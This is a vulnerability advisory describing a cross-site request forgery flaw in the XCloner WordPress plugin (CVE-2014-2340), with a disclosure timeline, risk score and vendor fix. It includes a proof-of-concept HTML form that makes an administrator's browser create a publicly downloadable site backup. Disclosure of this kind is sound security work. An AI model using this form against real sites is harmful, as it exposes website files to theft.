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Сross-Site Request Forgery (CSRF) in XCloner Wordpress Plugin

Advisory ID:HTB23206
Product:XCloner Wordpress plugin
Vulnerable Versions:3.1.0 and probably prior
Tested Version:3.1.0
Advisory Publication:March 12, 2014 [without technical details]
Vendor Notification:March 12, 2014
Vendor Fix:March 13, 2014
Public Disclosure:April 2, 2014
Latest Update:March 13, 2014
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2014-2340
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:P/I:N/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in XCloner Wordpress plugin, which can be exploited to perform a CSRF attack and gain access to a backed-up copy of vulnerable website.

Сross-Site Request Forgery (CSRF) in XCloner Wordpress Plugin: CVE-2014-2340
The vulnerability exists due to insufficient verification of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a website backup.
Simple exploit code below will create new backup with all website files (no SQL database), which will be publicly accessible on the http://[host]/administrator/backups/backup.tar URL:
<form action="http://[host]/wp-admin/plugins.php?page=xcloner_show&option=com_clon er&task=confirm" method="post" name="main">
<input type="hidden" name="dbbackup" value="1">
<input type="hidden" name="dbbackup_comp" value="">
<input type="hidden" name="bname" value="backup">
<input type="hidden" name="backupComments" value="">
<input type="hidden" name="option" value="com_cloner">
<input type="hidden" name="task" value="generate">
<input type="hidden" name="boxchecked" value="0">
<input type="hidden" name="hidemainmenu" value="0">
<input type="hidden" name="" value="">
<input type="submit" name="run" value="run">

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More Information:

[1] High-Tech Bridge Advisory HTB23206 - - Сross-Site Request Forgery (CSRF) in XCloner Wordpress Plugin.
[2] XCloner Wordpress plugin - - XCloner is a professional website Backup and Restore application designed to allow you to create safe complete backups of any PHP/Mysql website and to be able to restore them anywhere. It works as a native Joomla backup component, as a native Wordpress backup plugin and also as standalone PHP/Mysql backup application.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
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